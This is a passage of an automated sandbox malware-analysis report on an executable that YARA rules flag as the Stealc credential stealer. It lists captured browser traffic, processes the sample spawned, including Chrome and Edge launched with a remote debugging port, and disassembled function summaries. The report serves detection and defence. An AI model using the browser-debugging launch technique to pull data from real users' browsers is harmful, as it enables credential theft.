20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-18 21:02:19 UTC	242	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 34 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 0d 0a Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700334,3700949,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};
2024-12-18 21:02:19 UTC	221	IN	Data Raw: 64 37 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 3b 5c 6e 74 72 79 7b 5c 6e 5f 2e 78 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 61 2e 6a 29 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 66 6f 72 28 76 61 72 20 64 20 6f 66 20 63 29 5f 2e 78 64 28 61 2c 62 2c 64 29 3b 65 6c 73 65 7b 64 5c 75 30 30 33 64 28 30 2c 5f 2e 7a 29 28 61 2e 43 2c 61 2c 62 29 3b 63 6f 6e 73 74 20 65 5c 75 30 30 33 64 61 2e 76 2b 63 3b 61 2e 76 2b 2b 3b 62 2e 64 61 74 61 73 65 74 2e 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 0d 0a Data Ascii: d7(function(_){var window\u003dthis;\ntry{\n_.xd\u003dfunction(a,b,c){if(!a.j)if(c instanceof Array)for(var d of c)_.xd(a,b,d);else{d\u003d(0,_.z)(a.C,a,b);const e\u003da.v+c;a.v++;b.dataset.eqid\u003de;a.B[e]\u003dd;
2024-12-18 21:02:19 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 79 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 7a 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 Data Ascii: 8000b\u0026\u0026b.addEventListener?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\nvar yd\u003ddocument.querySelector(\".gb_I .gb_A\"),zd\u003ddocument.q
2024-12-18 21:02:19 UTC	1390	IN	Data Raw: 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 47 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 46 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4c 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4c 64 28 5f 2e 48 64 3f 5f 2e 48 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 51 64 2c 64 65 2c 50 64 2c 52 64 2c 57 64 Data Ascii: (\"mailto\"),Gd(\"ftp\"),new _.Fd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Ld\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Md\u003dnew _.Ld(_.Hd?_.Hd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Qd,de,Pd,Rd,Wd
2024-12-18 21:02:19 UTC	1390	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 4d 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 73 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 4f 64 28 5f 2e 45 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 Data Ascii: function(a){var b\u003d_.Ma(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ae\u003dfunction(a,b,c){return _.sb(a,b,c,!1)!\u003d\u003dvoid 0};_.be\u003dfunction(a,b){return _.Od(_.Ec(a,b))};_.S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	142.250.181.132	443	6128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 21:02:18 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 21:02:19 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 18 Dec 2024 21:02:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-18 21:02:19 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-18 21:02:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:02:05
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ZXVcgrmGRM.exe"
Imagebase:	0x4e0000
File size:	6'415'328 bytes
MD5 hash:	F12ECB7E8DD8BFB2D68DF43267AEBA89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2519556904.000000000050B000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:02:14
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:02:14
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2380,i,3578664501745128445,4360506023146975092,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:02:24
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:02:24
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2092,i,8163321258425635501,2864813512632756992,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:02:24
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:02:25
Start date:	18/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2212,i,6321557815017827348,2764551426916478204,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5235A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AF688,00001000), ref: 6C5235D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5235E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5235FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C52363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C52369F
__aulldiv.LIBCMT ref: 6C5236E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C523773
EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C52377E
LeaveCriticalSection.KERNEL32(6C5AF688), ref: 6C5237BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5237C4
EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C5237CB
LeaveCriticalSection.KERNEL32(6C5AF688), ref: 6C523801
__aulldiv.LIBCMT ref: 6C523883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C523902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C523918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C52394C

Strings

GTC, xrefs: 6C523912
GenuntelineI, xrefs: 6C523639
MOZ_TIMESTAMP_MODE, xrefs: 6C5235DB
AuthcAMDenti, xrefs: 6C523946
QPC, xrefs: 6C5238FC

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 572ef6067f75c768884641142358685bee7776925b46aeedf38f0ac4527611f2
Instruction ID: 61c37118bbef34921407963d9fdd67ea426a60a2c9c448c97fbade49573986b9
Opcode Fuzzy Hash: 572ef6067f75c768884641142358685bee7776925b46aeedf38f0ac4527611f2
Instruction Fuzzy Hash: E9B1E471B043109FDB08DF6AEC4461E7BF9FB8A700F068A2EE499D77A0D77498018B95

Function 6C53C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C53C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C53C969
GetSystemInfo.KERNEL32(?), ref: 6C53C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C53C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C53C9E2

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 4a427b487066dfdd0deb6ff8173e79a0b1f46e566ccf0ca3c512e0247d4182ef
Instruction ID: 6b3aa7fa8084e3484b12f6dccb99bfe3ac9b24763e614be3e129425a8a137b14
Opcode Fuzzy Hash: 4a427b487066dfdd0deb6ff8173e79a0b1f46e566ccf0ca3c512e0247d4182ef
Instruction Fuzzy Hash: CB21FF327412389BDB15AAA5DC84BAE7379BB4A704F93161AF907E7740F7707C008794

Function 6C523060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C523095

Part of subcall function 6C5235A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C5AF688,00001000), ref: 6C5235D5
Part of subcall function 6C5235A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5235E0
Part of subcall function 6C5235A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5235FD
Part of subcall function 6C5235A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C52363F
Part of subcall function 6C5235A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C52369F
Part of subcall function 6C5235A0: __aulldiv.LIBCMT ref: 6C5236E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C52309F

Part of subcall function 6C545B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5456EE,?,00000001), ref: 6C545B85
Part of subcall function 6C545B50: EnterCriticalSection.KERNEL32(6C5AF688,?,?,?,6C5456EE,?,00000001), ref: 6C545B90
Part of subcall function 6C545B50: LeaveCriticalSection.KERNEL32(6C5AF688,?,?,?,6C5456EE,?,00000001), ref: 6C545BD8
Part of subcall function 6C545B50: GetTickCount64.KERNEL32 ref: 6C545BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5230BE

Part of subcall function 6C5230F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C523127
Part of subcall function 6C5230F0: __aulldiv.LIBCMT ref: 6C523140

Part of subcall function 6C55AB2A: __onexit.LIBCMT ref: 6C55AB30

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 2506e6b3b361a8619a6031d896f415e438fb1b520cc10d0ab109b538b3e38023
Instruction ID: 88418650f6fe4ee7cf8accd4c78558447819685de120fe256414ef4a92844b08
Opcode Fuzzy Hash: 2506e6b3b361a8619a6031d896f415e438fb1b520cc10d0ab109b538b3e38023
Instruction Fuzzy Hash: 6DF04932E20748D2CB10DFB5AC411EEB3B4AFAB214F52131AE85523571FB3066D883C9

Non-executed Functions

Function 6C535440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C535492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5354A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5354BE
__Init_thread_footer.LIBCMT ref: 6C5354DB

Part of subcall function 6C55AB3F: EnterCriticalSection.KERNEL32(6C5AE370,?,?,6C523527,6C5AF6CC,?,?,?,?,?,?,?,?,6C523284), ref: 6C55AB49
Part of subcall function 6C55AB3F: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C523527,6C5AF6CC,?,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55AB7C

Part of subcall function 6C55CBE8: GetCurrentProcess.KERNEL32(?,6C5231A7), ref: 6C55CBF1
Part of subcall function 6C55CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5231A7), ref: 6C55CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5354F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C535516
GetCurrentThreadId.KERNEL32 ref: 6C53556A
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C535577
moz_xmalloc.MOZGLUE(00000070), ref: 6C535585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C535590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5355E6
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C535606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C535616

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

GetCurrentThreadId.KERNEL32 ref: 6C53563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C535646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C53567C
free.MOZGLUE(?), ref: 6C5356AE

Part of subcall function 6C545E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C545EDB
Part of subcall function 6C545E90: memset.VCRUNTIME140(ewXl,000000E5,?), ref: 6C545F27
Part of subcall function 6C545E90: LeaveCriticalSection.KERNEL32(?), ref: 6C545FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5356E8
GetCurrentThreadId.KERNEL32 ref: 6C535707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C53570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C535729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C53574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C53576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C535796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5357B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5357CA

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5357C5
MOZ_BASE_PROFILER_HELP, xrefs: 6C535511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5354B9
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C535C56
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C535BBE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C53548D
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C535791
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C535749
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C535766
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C535717
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5357AE
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C535CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C535D24
[I %d/%d] profiler_init, xrefs: 6C53564E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5354A3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C535D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C535AC9
GeckoMain, xrefs: 6C535554, 6C5355D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C535B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C53584E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5356E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C535D1C
MOZ_PROFILER_STARTUP, xrefs: 6C5355E1
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C535724
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C535D01

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

